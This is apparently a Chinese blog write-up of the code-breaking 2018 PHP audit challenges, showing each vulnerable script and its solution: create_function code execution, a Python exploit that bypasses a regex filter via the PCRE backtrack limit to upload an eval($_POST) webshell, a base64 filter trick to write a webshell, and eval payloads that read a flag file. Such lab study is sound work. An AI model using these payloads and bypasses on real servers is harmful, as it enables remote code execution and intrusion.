code-breaking2018代码审计学习

我现在这个水平, 每做一道题都会触及到知识盲区,只好看wp做做总结,先拓宽知识储备吧。
github地址

easy – function

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

这道题想让我们知道\的作用。php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
然后就可以利用create_function()任意代码执行。

easy pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

这道题需要了解php的正则回溯机制。
正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而DFA对应的是文本主导的匹配。DFA从匹配文本入手,从左到右,每个字符不会匹配两次,它的时间复杂度是多项式的,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用等等;而NFA则是从正则表达式入手,不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,通常它的速度比较慢,最优时间复杂度为多项式的,最差情况为指数级的。但NFA支持更多的特性,因而绝大多数编程场景下(包括java,js),我们面对的是NFA。
pcre.backtrack_limit这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.
exp:

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'<?php eval($_POST['cxy']);//' + b'a' * 1000000)
}

res = requests.post('http://192.168.91.133:8088//index.php', files=files, allow_redirects=False)
print(res.headers)

easy - phpmagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?>

这道题利用base64编码绕过过滤,然后利用php伪协议解码写入webshell, php解析的时候,会忽略乱码,从<?php开始解析。
这里还有一个小trick,在后缀名后加上/.,pathinfo就取不到后缀名,且可以正常写入.php之中。本题$_SERVER[‘SERVER_NAME’]取的是HOST,所以一切都可控了。
Markdown
刚开始写入文件怎么都是空的,因为base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=,只要把==删除就可以了

easy - phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

这里只能调用函数,没办法传入字符串

1
poc: 1=readfile(%27../flag_phpbyp4ss%27);//&code=eval(implode(reset(get_defined_vars())));

implode() 函数返回由数组元素组合成的字符串。
reset() 函数将内部指针指向数组中的第一个元素,并输出。
get_defined_vars() 返回由所有已定义变量所组成的数组。
还有一个巧妙的方法

1
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));